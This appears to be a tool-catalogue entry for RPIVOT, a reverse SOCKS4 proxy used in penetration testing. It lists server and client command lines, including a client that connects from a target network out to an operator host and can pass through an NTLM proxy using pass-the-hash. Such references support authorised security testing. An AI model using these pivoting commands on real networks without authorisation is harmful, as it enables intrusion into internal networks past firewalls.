.. /RPIVOT
Star

Access

RPIVOT is a reverse SOCKS4 proxy for penetration testing, written in Python with no third-party dependencies. It works like SSH dynamic port forwarding but in the opposite direction, with the server listening on the operator’s host while the client is run on the target network and connects out to it, which lets the operator reach the target’s internal network even through an outbound-only firewall. It also supports pivoting through an NTLM proxy, including pass-the-hash.

Paths:

Resources:

Detections:

Access

  1. Starts the server on the operator's host, exposing a local SOCKS4 proxy once the client connects.

    python server.py --server-port <PORT> --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
    Use case
    Operator side of a reverse SOCKS4 pivot.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Connects the client on the target network back to the RPIVOT server, establishing the reverse proxy chain.

    python client.py --server-ip <SERVER_IP> --server-port <PORT>
    Use case
    Pivoting into an internal network from a host that can only make outbound connections.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. Connects the client through an NTLM-authenticating outbound proxy (password or pass-the-hash) to reach the RPIVOT server.

    python client.py --server-ip <SERVER_IP> --server-port <PORT> --ntlm-proxy-ip <PROXY_IP> --ntlm-proxy-port <PROXY_PORT> --domain <DOMAIN> --username <USER> --password <PASSWORD>
    Use case
    Pivoting out through a corporate web proxy that requires NTLM authentication.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS